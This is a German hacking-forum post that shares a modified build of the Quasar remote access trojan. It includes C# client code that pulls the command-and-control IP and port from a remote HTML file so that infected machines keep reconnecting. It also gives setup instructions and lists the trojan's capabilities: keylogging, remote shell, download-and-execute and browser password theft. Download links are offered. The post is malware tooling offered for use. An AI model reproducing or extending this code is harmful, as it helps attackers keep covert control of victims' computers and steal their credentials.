Zum Inhalt wechseln

Als Gast hast du nur eingeschränkten Zugriff!


Anmelden 

Benutzerkonto erstellen

Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.

  • Antworte auf Themen oder erstelle deine eigenen.
  • Schalte dir alle Downloads mit Highspeed & ohne Wartezeit frei.
  • Erhalte Zugriff auf alle Bereiche und entdecke interessante Inhalte.
  • Tausche dich mich anderen Usern in der Shoutbox oder via PN aus.
 

   

Foto

[Open Source] Quasar Editet mit HTTPWebRequest Host und Port

- - - - -

  • Bitte melde dich an um zu Antworten
Keine Antworten in diesem Thema

#1
MultiVitamin

MultiVitamin

    Lamer

  • Members
  • PIPPIPPIP
  • Likes
    4
  • 16 Beiträge
  • 3 Bedankt
  • Blackberry
  • Windows

Hallo,


ich habe geselen das hier viele Perfect Privacy benutzen und sich dort die Ports alle 7 Tage ändern, deswegen habe ich bei der Open Source Rat Quasar was umgeschrieben das er sich die IP und Port per HttpWebRequest aus ner Htm holt, ist nicht so sauer der Code, mal schnell gemacht.


Der Code den ich geändert habe im Projekt Client in der Program.cs :

public Host getHTTPthrewHost(string sUri) // Added by MultiVitamin, ist nicht alles selber gemacht / Credits an MS für HttpWebRequest Sample
        {
            // Ein neues Object typ Host, zum speichern der Daten.
            Host returnHTTPHost = new Host();
            //Erstellt einen neuen request von der Url in Parameter sUri
            WebRequest request = WebRequest.Create("http://" + sUri);
            //Liest den Response vom request ein
            WebResponse response = request.GetResponse();
            //Guckt ob der Response geklappt hat.
            if (((HttpWebResponse)response).StatusCode == HttpStatusCode.OK)
            {
                // Öffne den Strean mit den Stread Reader.
                StreamReader reader = new StreamReader(response.GetResponseStream());
                // Lese den Response in einen String ein.
                string responseFromServer = reader.ReadToEnd();

                //Ließt aus dem String den Host / IP raus und schreib es in das Host Object
                Match HostMatch = Regex.Match(responseFromServer, @"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}");
                returnHTTPHost.Hostname = HostMatch.ToString();
                //Ließt aus dem String den Port raus und schreib es in das Host Object
                Match PortMatch = Regex.Match(responseFromServer, @"[:punct:].*1");

                //Ließt den Port ein sollte so aussehen :XXXXXXX und löscht das " : "
                StringBuilder sbPort = new StringBuilder(); ushort _Port = 0;
                sbPort.Append(PortMatch.ToString());
                sbPort.Remove(0, 1);

                if (ushort.TryParse(sbPort.ToString(), out _Port))
                {
                    returnHTTPHost.Port = _Port;
                }
                else
                {
                    returnHTTPHost.Port = 0;
                }
                // Schließe alles.
                reader.Close();
                response.Close();
                //Gebe das Object returnHTTPHost zurück wo alle Infos wie Host,Port sind.
                return returnHTTPHost;
            }
            else
            {
                response.Close();
                returnHTTPHost.Hostname = "Error";
                return returnHTTPHost;
            }
        }
        public void Connect()
        {
            while (!Exiting) // Main Connect Loop
            {
                if (!Connected)
                {
                    Thread.Sleep(100 + new Random().Next(0, 250));

                    Host host = getHTTPthrewHost(_hosts.GetNextHost().Hostname);

                    while(host.Hostname == "Error" || host.Port == 0)
                    {
                        host = getHTTPthrewHost(_hosts.GetNextHost().Hostname);
                    }

                    base.Connect(host.Hostname, host.Port);

                    Thread.Sleep(200);

                    Application.DoEvents();
                }


Ihr müsst jetzt nur bei Host eure URL zur Htm die den Inhalt :

IP:Port hat
z.b
127.0.0.1:12334

An geben, mehr im Video.

Es wird immer nur das erste Match genommen, also für mehrer IPS mehrer Htm datein erstellen.

Wichtig ist die URL nicht mit http:// angeben sondern ohne, die URL könnte so aussehen tesre3.comuv.com/Test.htm.

Wichtig auch keine DynDNS Sachen angeben, da das regex nicht match sondern einfach die IP.

UyvZDEx.png



Features
  • Buffered TCP/IP network stream
  • Fast network serialization (NetSerializer)
  • Compressed (QuickLZ) & Encrypted (AES-128) communication
  • Multi-Threaded
  • UPnP Support
  • No-Ip.com Support
  • Visit Website (hidden & visible)
  • Show Messagebox
  • Task Manager
  • File Manager
  • Startup Manager
  • Remote Desktop
  • Remote Shell
  • Download & Execute
  • Upload & Execute
  • System Information
  • Computer Commands (Restart, Shutdown, Standby)
  • Keylogger (Unicode Support)
  • Reverse Proxy (SOCKS5)
  • Password Recovery (Common Browsers and FTP Clients)

Hier noch ein Setup-Video :


Hier der Download SRC + Bin + HttpWebrequest:

Please Login HERE or Register HERE to see this link!

Github von 

Please Login HERE or Register HERE to see this link!

der Coder von Quasar :

Please Login HERE or Register HERE to see this link!

Virus Scan :

Please Login HERE or Register HERE to see this link!


  • smc2014 gefällt das

3a3185eedd.png


Thanked by 1 Member:
smc2014


  Thema Forum Themenstarter Statistik Letzter Beitrag

Dieses Thema wurde von 44 Mitglied(ern) gelesen


    _)_, .:dodo:., .Puma, 1x1, Bot4ng, bumg2, Caruso, Ch!ller, Cheat0r, Commentor, Crap, creamfresh, Creo, Cube, cubik, cX., dvalar, exploitablerootkit, Framerater, FullMetall, g0rillaz, gr3yyy, Gragg23, len0, lNobodyl, loginman1, mantwohouse, mettbrot, MultiVitamin, n1nja, pdr0, pwcca, rat123, redcore, Rikanono, Seldos, smc2014, Smn, Take1T, theunknown, twixeis, xxas, yq8, Zerobyte
Die besten Hacking Tools zum downloaden : Released, Leaked, Cracked. Größte deutschsprachige Hacker Sammlung.